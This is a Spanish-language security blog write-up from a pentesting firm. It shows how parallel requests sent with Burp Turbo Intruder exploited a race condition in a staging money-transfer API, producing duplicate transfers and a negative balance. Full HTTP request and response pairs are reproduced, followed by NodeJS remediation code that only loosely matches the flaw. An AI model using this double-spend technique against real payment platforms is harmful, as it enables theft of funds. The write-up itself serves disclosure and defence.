Las condiciones de carrera son vulnerabilidades que pueden afectar gravemente la lógica de negocio de las aplicaciones web. Este tipo de falla ocurre cuando un sistema permite el procesamiento concurrente de peticiones sin las protecciones necesarias, lo que puede desencadenar interacciones no deseadas entre distintos hilos de ejecución. El resultado es un comportamiento inesperado que puede comprometer la integridad de los datos y la seguridad de la aplicación. En escenarios críticos como transferencias de dinero, este vector puede conllevar a pérdidas importantes.
En este artículo, exploraremos cómo se identificó y explotó una condición de carrera en una plataforma web, destacando además la importancia de abordar la corrección de esta vulnerabilidad.
Identificación de la Vulnerabilidad
Durante el análisis de la aplicación, el equipo de Offensive Security detectó una vulnerabilidad en una solicitud específica que al ser enviada simultáneamente con otra, generaba una condición de carrera permitiendo a un atacante abusar de la funcionalidad de transferencias provocando el robo de activos monetarios. A continuación, se describen los pasos que se llevaron a cabo durante el proceso de pruebas.
Proceso de Recarga de Saldo
Se registró y estableció una sesión utilizando un usuario regular como cualquier cliente que utiliza la plataforma con un saldo de 100.000 CLP:
Envío de Transferencia
Luego, se procedió a enviar saldo a otro usuario dentro de la plataforma:
Explotación de la Vulnerabilidad
Durante el proceso de envío, se interceptó la solicitud utilizando el módulo Turbo Intruder de Burp Suite. Este módulo permite realizar múltiples solicitudes en paralelo, lo que llevó a la creación de 40 solicitudes simultáneas con el objetivo de evaluar el flujo de transferencias en la aplicación.
Análisis de Resultados
En la columna de estado (Status), se observó que dos de las solicitudes recibieron el código 201, indicando que se habían procesado exitosamente:
Primera solicitud
HTTP Request:
POST /api/transactions HTTP/2
Host: api.stage.app-vulnerable.io
Content-Length: 240
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: en-GB
Sec-Ch-Ua-Mobile: ?0
Access-Token: [REDACTED]
Client: _k[REDACTED]
App-Name: [NAME]
Content-Type: application/json
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Expiry: 1718827902
Uid: [REDACTED]
App-Source: web
Sec-Ch-Ua-Platform: "Windows"
Origin: https://stage.app-vulnerable.io
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://stage.app-vulnerable.io/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"description":"Cómo hacerse Millonario","currency":"clp","currency_received":"clp","category":"sent","total":100000,"device_fingerprint":"775b[REDACTED]492b","source":"web","recipient_email":"[email protected]"}
HTTP Response:
HTTP/2 201 Created
Date: Wed, 19 Jun 2024 19:45:54 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
Access-Control-Expose-Headers: Access-Token, client, uid, expiry, access-token-mobile, expire-token-mobile, x-device, x-rules, x-residence-config, x-settings, x-favorite-accounts
Access-Control-Max-Age: 7200
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
X-Rules: 1611
X-Residence-Config: 1609
X-Settings: 1
X-Favorite-Accounts: 5
Access-Token: [REDACTED]
Token-Type: Bearer
Client: _k[REDACTED]
Expiry: 1718827902
Uid: [REDACTED]
Authorization: Bearer eyJhY2Nl[REDACTED]SJ9
Set-Cookie: _interslice_session=%2B7%2BTT[REDACTED]Q%3D%3D; path=/; HttpOnly; secure
Etag: W/"79[REDACTED]1"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: ad[REDACTED]be
X-Runtime: 0.556746
Strict-Transport-Security: max-age=15724800; includeSubDomains
Vary: Origin
{"data":{"id":"5e[REDACTED]44","type":"transaction","attributes":{"amount":"100000.0","created_at":"2024-06-19T19:45:54.052Z","currency":"clp","currency_iso_code":"clp","gas":null,"gas_price":null,"from_address":null,"to_address":null,"fixed_cost":"0.0","recipient_email":"[REDACTED]@hackmetrix.com","description":"Como hacerse Millonario","source":"Web","fee_type":"amount","fee_value":"0.0","local_currency":"CLP","amount_local_currency":"100000.0","total_fee":"0.0","total":"100000.0","total_in_default_currency":"100000.0","hash_result":null,"status":"completed","currency_to_default_currency_price":"1.0","powwi_transaction_id":null,"account_bank":null,"favorite_account":null,"gmf":"0.0","iva":"0.0","commission_cost":"0.0","transaction_cost":"0.0","spot_price":"1.0","bonus_amount":null,"bonus_percentage":null,"bonus_type":null,"total_in_exchange_currency":null,"exchange_price":null,"exchange_currency":null,"purpose_comentary":null,"sender_remaining_balance":"-100000.0","user_device":null,"category":"sent","remaining_balance":-100000.0,"sender_email":"a[REDACTED][email protected]","recipient":{"id":905,"first_name":"Pedro Usuario","last_name":"Automatizado","email":"a[REDACTED][email protected]"},"encrypt_id":"oX[REDACTED]A==","category_translate":"Envio","invoices":null,"coupon_user":null,"coupon_transfer":null,"network":null,"reject_reason":null}}}
Segunda solicitud
HTTP Request:
POST /api/transactions HTTP/2
Host: api.stage.apptest.io
Content-Length: 240
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: en-GB
Sec-Ch-Ua-Mobile: ?0
Access-Token: [REDACTED]
Client: _k[REDACTED]
App-Name: [NAME]
Content-Type: application/json
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Expiry: 1718827902
Uid: [REDACTED]
App-Source: web
Sec-Ch-Ua-Platform: "Windows"
Origin: https://stage.app-vulnerable.io
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://stage.app-vulnerable.io/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"description":"Como hacerse Millonario","currency":"clp","currency_received":"clp","category":"sent","total":100000,"device_fingerprint":"775b[REDACTED]492b ","source":"web","recipient_email":"p[REDACTED][email protected]"}
HTTP Response:
HTTP/2 201 Created
Date: Wed, 19 Jun 2024 19:45:54 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
Access-Control-Expose-Headers: Access-Token, client, uid, expiry, access-token-mobile, expire-token-mobile, x-device, x-rules, x-residence-config, x-settings, x-favorite-accounts
Access-Control-Max-Age: 7200
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
X-Rules: 1611
X-Residence-Config: 1609
X-Settings: 1
X-Favorite-Accounts: 5
Access-Token: [REDACTED]
Token-Type: Bearer
Client: _k[REDACTED]
Expiry: 1718827902
Uid: [REDACTED]
Authorization: Bearer eyJhY2Nl[REDACTED]SJ9
Set-Cookie: _interslice_session=ZZGPaSi6E%2Bcq[REDACTED]w%3D%3D; path=/; HttpOnly; secure
Etag: W/"ef[REDACTED]9"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: 86[REDACTED]2a
X-Runtime: 0.588199
Strict-Transport-Security: max-age=15724800; includeSubDomains
Vary: Origin
{"data":{"id":"ac[REDACTED]0e","type":"transaction","attributes":{"amount":"100000.0","created_at":"2024-06-19T19:45:54.063Z","currency":"clp","currency_iso_code":"clp","gas":null,"gas_price":null,"from_address":null,"to_address":null,"fixed_cost":"0.0","recipient_email":"a[REDACTED][email protected]","description":"Como hacerse Millonario","source":"Web","fee_type":"amount","fee_value":"0.0","local_currency":"CLP","amount_local_currency":"100000.0","total_fee":"0.0","total":"100000.0","total_in_default_currency":"100000.0","hash_result":null,"status":"completed","currency_to_default_currency_price":"1.0","powwi_transaction_id":null,"account_bank":null,"favorite_account":null,"gmf":"0.0","iva":"0.0","commission_cost":"0.0","transaction_cost":"0.0","spot_price":"1.0","bonus_amount":null,"bonus_percentage":null,"bonus_type":null,"total_in_exchange_currency":null,"exchange_price":null,"exchange_currency":null,"purpose_comentary":null,"sender_remaining_balance":"-100000.0","user_device":null,"category":"sent","remaining_balance":-100000.0,"sender_email":"a[REDACTED][email protected]","recipient":{"id":905,"first_name":"Pedro Usuario","last_name":"Automatizado","email":"a[REDACTED][email protected]"},"encrypt_id":"l5q[REDACTED]pyw==","category_translate":"Envio","invoices":null,"coupon_user":null,"coupon_transfer":null,"network":null,"reject_reason":null}}}
Impacto de la Explotación
Como resultado de este ataque, se registraron dos transferencias de 100.000 CLP cada una, totalizando 200.000 CLP:
En la cuenta receptora, se evidenció un ingreso de 200.000 CLP. Por lo tanto, un atacante podría aprovechar esta vulnerabilidad para el robo de dinero sobre la plataforma provocando un impacto critico a la integridad de los activos monetarios y al modelo de negocio de la organización.
Finalmente, de esta manera fue posible evidenciar una vulnerabilidad lógica, la cual es difícil de identificar mediante ejercicios de escaneo de vulnerabilidades, ya que se requiere de interpretaciones más detalladas mediante un ejercicio de Ethical Hacking.
Remediación
Para mitigar este tipo de vulnerabilidades, es crucial implementar mecanismos de control de concurrencia. A continuación, se presenta un ejemplo de código en NodeJS que utiliza un bloqueo para garantizar que solo una solicitud se procese a la vez:
…
sequelize.sync();
app.post('/confirm-order', async (req, res) => {
const { userId, cartId, expectedTotalValue } = req.body;
const transaction = await sequelize.transaction();
try {
const cart = await Cart.findOne({ where: { id: cartId, userId }, transaction });
if (!cart) {
throw new Error('Carrito no encontrado o no pertenece al usuario');
}
if (cart.totalValue !== expectedTotalValue) {
throw new Error('El total del carrito no coincide con el valor esperado');
}
const order = await Order.create({ userId, cartId }, { transaction });
await transaction.commit();
res.status(201).json({ message: 'Pedido confirmado', order });
} catch (error) {
// Revierte la transacción si ocurre un error
await transaction.rollback();
res.status(400).json({ error: error.message });
}
});
Debemos tener en cuenta que cada caso es diferente y debe abordarse según la lógica de negocio que se tenga. Este es solo un ejemplo y no debe tomarse como específico para resolver cualquier problema relacionado a esta vulnerabilidad.
Conclusión
Las condiciones de carrera representan un riesgo significativo para la seguridad de las aplicaciones web, especialmente en transacciones críticas como transferencias de dinero. La identificación y explotación de estas vulnerabilidades requieren una atención meticulosa y un enfoque proactivo en la remediación. Implementar controles de concurrencia y mejorar la lógica de manejo de solicitudes son pasos fundamentales para proteger la integridad de los sistemas.
En Hackmetrix, entendemos la importancia de mantener la seguridad en cada rincón de las aplicaciones. Ofrecemos servicios de análisis de seguridad para identificar vulnerabilidades, incluyendo condiciones de carrera, para asegurar que su plataforma no solo sea funcional, sino también segura.
Escrito por: Juan David Fernández
Appsec Engineer en Hackmetrix